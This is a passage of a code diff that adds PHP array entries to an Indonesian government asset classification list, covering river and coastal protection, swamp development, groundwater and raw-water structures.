'sub_sub_kelompok' => '010', + 'nama' => 'BANGUNAN PENUTUP SUNGAI', + ], + [ + 'id_aset' => 3606, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '011', + 'nama' => 'BANGUNAN STASIUN POMPA PEMASUKAN/PEMBUANG', + ], + [ + 'id_aset' => 3607, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PELENGKAP PENGEMBANGAN RAWA LAINNYA', + ], + [ + 'id_aset' => 3608, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN SAWAH PENGEMBANGAN RAWA', + ], + [ + 'id_aset' => 3609, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN SAWAH RAWA TEKNIS', + ], + [ + 'id_aset' => 3610, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN SAWAH RAWA SEMI TEKNIS', + ], + [ + 'id_aset' => 3611, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN SAWAH RAWA NON TEKNIS', + ], + [ + 'id_aset' => 3612, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN SAWAH PENGEMBANGAN RAWA LAINNYA', + ], + [ + 'id_aset' => 3613, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGEMBANGAN RAWA DAN POLDER LAINNYA', + ], + [ + 'id_aset' => 3614, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGEMBANGAN RAWA DAN POLDER LAINNYA', + ], + [ + 'id_aset' => 3615, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMAN SUNGAI/PANTAI & PENANGGULANGAN BENCANA ALAM', + ], + [ + 'id_aset' => 3616, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMAN SUNGAI/PANTAI & PENANGGULANGAN BENCANA ALAM', + ], + [ + 'id_aset' => 3617, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNA WASUK PENGAMAN SUNGAI/PANTAI', + ], + [ + 'id_aset' => 3618, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => '\"WADUK DENGAN TANGGUL', + ], + [ + 'id_aset' => 3619, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMAN SUNGAI/PANTAI & PENANGGULANGAN BENCANA ALAM LAINNYA', + ], + [ + 'id_aset' => 3620, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMBILAN PENGAMAN SUNGAI/PANTAI', + ], + [ + 'id_aset' => 3621, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN PENGAMBILAN PENGAMANAN SUNGAI', + ], + [ + 'id_aset' => 3622, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN PENGAMBILAN PENGAMANAN PANTAI', + ], + [ + 'id_aset' => 3623, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMBILAN PENGAMAN SUNGAI/PANTAI LAINNYA', + ], + [ + 'id_aset' => 3624, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PEMBAWA PENGAMAN SUNGAI/PANTAI', + ], + [ + 'id_aset' => 3625, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN PEMBAWA PENGAMAN SUNGAI', + ], + [ + 'id_aset' => 3626, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN PEMBAWA PENGAMAN PANTAI', + ], + [ + 'id_aset' => 3627, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PEMBAWA PENGAMAN SUNGAI/PANTAI LAINNYA', + ], + [ + 'id_aset' => 3628, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PEMBUANG PENGAMAN SUNGAI', + ], + [ + 'id_aset' => 3629, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'SALURAN BANJIR', + ], + [ + 'id_aset' => 3630, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'SALURAN DRAINAGE', + ], + [ + 'id_aset' => 3631, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PEMBUANG PENGAMAN SUNGAI LAINNYA', + ], + [ + 'id_aset' => 3632, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMAN PENGAMANAN SUNGAI/PANTAI', + ], + [ + 'id_aset' => 3633, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANGGUL BANJIR (BANGUNAN PENGAMAN PENGAMANAN SUNGAI/PANTAI)', + ], + [ + 'id_aset' => 3634, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'PINTU PENGATUR BANJIR', + ], + [ + 'id_aset' => 3635, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'COUPURE/SODETAN', + ], + [ + 'id_aset' => 3636, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'KANTONG PASIR/LAHAR/LUMPUR', + ], + [ + 'id_aset' => 3637, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'CHEKDAM/PENAHAN SEDIMEN', + ], + [ + 'id_aset' => 3638, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '006', + 'nama' => 'KRIB PENGAMAN SUNGAI/PANTAI', + ], + [ + 'id_aset' => 3639, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '007', + 'nama' => 'BANGUNAN PENGUAT TEBING/PANTAI', + ], + [ + 'id_aset' => 3640, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '008', + 'nama' => 'BANGUNAN PELIMPAH BANJIR', + ], + [ + 'id_aset' => 3641, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '009', + 'nama' => 'DAM KONSOLIDASI', + ], + [ + 'id_aset' => 3642, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '010', + 'nama' => 'PERALATAN SARINGAN SAMPAH ( POND SCREEN )', + ], + [ + 'id_aset' => 3643, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '011', + 'nama' => 'KLEP PENGATUR BANJIR', + ], + [ + 'id_aset' => 3644, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '012', + 'nama' => 'BANGUNAN PEMECAH GELOMBANG', + ], + [ + 'id_aset' => 3645, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '013', + 'nama' => 'BANGUNAN PELANTARAN PANTAI', + ], + [ + 'id_aset' => 3646, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMAN PENGAMANAN SUNGAI/PANTAI LAINNYA', + ], + [ + 'id_aset' => 3647, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PELENGKAP PENGAMAN SUNGAI', + ], + [ + 'id_aset' => 3648, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN SYPHON (BANGUNAN PELENGKAP PENGAMAN SUNGAI)', + ], + [ + 'id_aset' => 3649, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN GORONG-GORONG (BANGUNAN PELENGKAP PENGAMAN SUNGAI)', + ], + [ + 'id_aset' => 3650, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN JEMBATAN (BANGUNAN PELENGKAP PENGAMAN SUNGAI)', + ], + [ + 'id_aset' => 3651, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN PENGUKUR MUKA AIR (BANGUNAN PELENGKAP PENGAMAN SUNGAI)', + ], + [ + 'id_aset' => 3652, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'BANGUNAN PENGUKUR CURAH HUJAN (BGNAN PELENGKAP PENGAMAN SUNGAI)', + ], + [ + 'id_aset' => 3653, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '006', + 'nama' => 'STASIUN POS PENJAGA/PENGAMAT', + ], + [ + 'id_aset' => 3654, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '007', + 'nama' => 'BANGUNAN DERMAGA', + ], + [ + 'id_aset' => 3655, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '008', + 'nama' => 'BANGUNAN STASIUN POMPA PEMBUANG', + ], + [ + 'id_aset' => 3656, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '009', + 'nama' => 'WARNING SYSTEM', + ], + [ + 'id_aset' => 3657, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PELENGKAP PENGAMAN SUNGAI LAINNYA', + ], + [ + 'id_aset' => 3658, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMAN SUNGAI/PANTAI & PENANGGULANGAN BENCANA ALAM LAINNYA', + ], + [ + 'id_aset' => 3659, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMAN SUNGAI/PANTAI & PENANGGULANGAN BENCANA ALAM LAINNYA', + ], + [ + 'id_aset' => 3660, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGEMBANGAN SUMBER AIR DAN AIR TANAH', + ], + [ + 'id_aset' => 3661, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN WADUK PENGEMBANGAN SUMBER AIR', + ], + [ + 'id_aset' => 3662, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'EMBUNG/WADUK LAPANGAN', + ], + [ + 'id_aset' => 3663, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN WADUK PENGEMBANGAN SUMBER AIR LAINNYA', + ], + [ + 'id_aset' => 3664, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMBILAN PENGEMBANGAN SUMBER AIR', + ], + [ + 'id_aset' => 3665, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'SUMUR DENGAN POMPA (BANGUNAN PENGAMBILAN PENGEMBANGAN SUMBER AIR)', + ], + [ + 'id_aset' => 3666, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'SUMUR ARTETIS', + ], + [ + 'id_aset' => 3667, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMBILAN PENGEMBANGAN SUMBER AIR LAINNYA', + ], + [ + 'id_aset' => 3668, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PEMBAWA PENGEMBANGAN SUMBER AIR', + ], + [ + 'id_aset' => 3669, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'SALURAN TERSIER (BANGUNAN PEMBAWA PENGEMBANGAN SUMBER AIR)', + ], + [ + 'id_aset' => 3670, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'SALURAN KUARTIER', + ], + [ + 'id_aset' => 3671, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PEMBAWA PENGEMBANGAN SUMBER AIR LAINNYA', + ], + [ + 'id_aset' => 3672, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PEMBUANG PENGEMBANGAN SUMBER AIR', + ], + [ + 'id_aset' => 3673, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'SALURAN PEMBUANG', + ], + [ + 'id_aset' => 3674, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PEMBUANG PENGEMBANGAN SUMBER AIR LAINNYA', + ], + [ + 'id_aset' => 3675, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMAN PENGEMBANGAN SUMBER AIR', + ], + [ + 'id_aset' => 3676, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'BAK PENAMPUNG/KOLAM/ MENARA PENAMPUNGAN', + ], + [ + 'id_aset' => 3677, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN KLIMATOLOGI', + ], + [ + 'id_aset' => 3678, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN HIDROMETRI', + ], + [ + 'id_aset' => 3679, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'SUMUR PENGAMATAN', + ], + [ + 'id_aset' => 3680, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMAN PENGEMBANGAN SUMBER AIR LAINNYA', + ], + [ + 'id_aset' => 3681, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PELENGKAP PENGEMBANGAN SUMBER AIR', + ], + [ + 'id_aset' => 3682, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN TERJUN (BANGUNAN PELENGKAP PENGEMBANGAN SUMBER AIR)', + ], + [ + 'id_aset' => 3683, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN TALANG (BANGUNAN PELENGKAP PENGEMBANGAN SUMBER AIR)', + ], + [ + 'id_aset' => 3684, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN SYPHON (BANGUNAN PELENGKAP PENGEMBANGAN SUMBER AIR)', + ], + [ + 'id_aset' => 3685, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN GORONG-GORONG (BGNAN PELENGKAP PENGEMBANGAN SUMBER AIR)', + ], + [ + 'id_aset' => 3686, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'BANGUNAN BOX TERSIER (BANGUNAN PELENGKAP PENGEMBANGAN SUMBER AIR)', + ], + [ + 'id_aset' => 3687, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '006', + 'nama' => 'BANGUNAN JEMBATAN (BANGUNAN PELENGKAP PENGEMBANGAN SUMBER AIR)', + ], + [ + 'id_aset' => 3688, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PELENGKAP PENGEMBANGAN SUMBER AIR LAINNYA', + ], + [ + 'id_aset' => 3689, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN SAWAH IRIGASI AIR TANAH', + ], + [ + 'id_aset' => 3690, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN SAWAH IRIGASI AIR TANAH TEKNIS', + ], + [ + 'id_aset' => 3691, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN SAWAH IRIGASI AIR TANAH SEMI TEKNIS', + ], + [ + 'id_aset' => 3692, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN SAWAH IRIGASI AIR TANAH NON TEKNIS', + ], + [ + 'id_aset' => 3693, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN SAWAH IRIGASI AIR TANAH LAINNYA', + ], + [ + 'id_aset' => 3694, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGEMBANGAN SUMBER AIR DAN AIR TANAH LAINNYA', + ], + [ + 'id_aset' => 3695, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '05', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGEMBANGAN SUMBER AIR DAN AIR TANAH LAINNYA', + ], + [ + 'id_aset' => 3696, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN AIR BERSIH/AIR BAKU', + ], + [ + 'id_aset' => 3697, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN WADUK AIR BERSIH/AIR BAKU', + ], + [ + 'id_aset' => 3698, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'WADUK PENYIMPANAN AIR BAKU', + ], + [ + 'id_aset' => 3699, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'WADUK PENYIMPANAN AIR HUJAN', + ], + [ + 'id_aset' => 3700, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'BAK PENYIMPANAN/TOWER AIR BAKU', + ], + [ + 'id_aset' => 3701, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN WADUK AIR BERSIH/AIR BAKU LAINNYA', + ], + [ + 'id_aset' => 3702, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMBILAN AIR BERSIH/AIR BAKU', + ], + [ + 'id_aset' => 3703, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN PENGAMBILAN DARI WADUK', + ], + [ + 'id_aset' => 3704, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN PENGAMBILAN DARI SUNGAI', + ], + [ + 'id_aset' => 3705, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN PENGAMBILAN DARI DANAU', + ], + [ + 'id_aset' => 3706, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN PENGAMBILAN DARI RAWA', + ], + [ + 'id_aset' => 3707, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'BANGUNAN PENGAMBILAN DARI AIR LAUT', + ], + [ + 'id_aset' => 3708, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'BANGUNAN PENGAMBILAN DARI SUMBER AIR', + ], + [ + 'id_aset' => 3709, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'BANGUNAN PENGAMBILAN DARI SUMUR ARTETIS', + ], + [ + 'id_aset' => 3710, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMBILAN AIR BERSIH/AIR BAKU LAINNYA', + ], + [ + 'id_aset' => 3711, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PEMBAWA AIR BERSIH/AIR BAKU', + ], + [ + 'id_aset' => 3712, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'SALURAN PEMBAWA AIR BAKU TERBUKA', + ], + [ + 'id_aset' => 3713, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'SALURAN PEMBAWA AIR BAKU TERTUTUP', + ], + [ + 'id_aset' => 3714, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PEMBAWA AIR BERSIH/AIR BAKU LAINNYA', + ], + [ + 'id_aset' => 3715, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PEMBUANG AIR BERSIH/AIR BAKU', + ], + [ + 'id_aset' => 3716, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'SALURAN PEMBUANG AIR CUCIAN AIR BAKU', + ], + [ + 'id_aset' => 3717, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'SALURAN PEMBUANG AIR CUCIAN INSTALASI', + ], + [ + 'id_aset' => 3718, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PEMBUANG AIR BERSIH/AIR BAKU LAINNYA', + ], + [ + 'id_aset' => 3719, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PELENGKAP AIR BERSIH/AIR BAKU', + ], + [ + 'id_aset' => 3720, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN TALANG (BANGUNAN PELENGKAP AIR BERSIH/AIR BAKU)', + ], + [ + 'id_aset' => 3721, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN SYPHON (BANGUNAN PELENGKAP AIR BERSIH/AIR BAKU)', + ], + [ + 'id_aset' => 3722, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN GORONG-GORONG (BANGUNAN PELENGKAP AIR BERSIH/AIR BAKU)', + ], + [ + 'id_aset' => 3723, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN JEMBATAN (BANGUNAN PELENGKAP 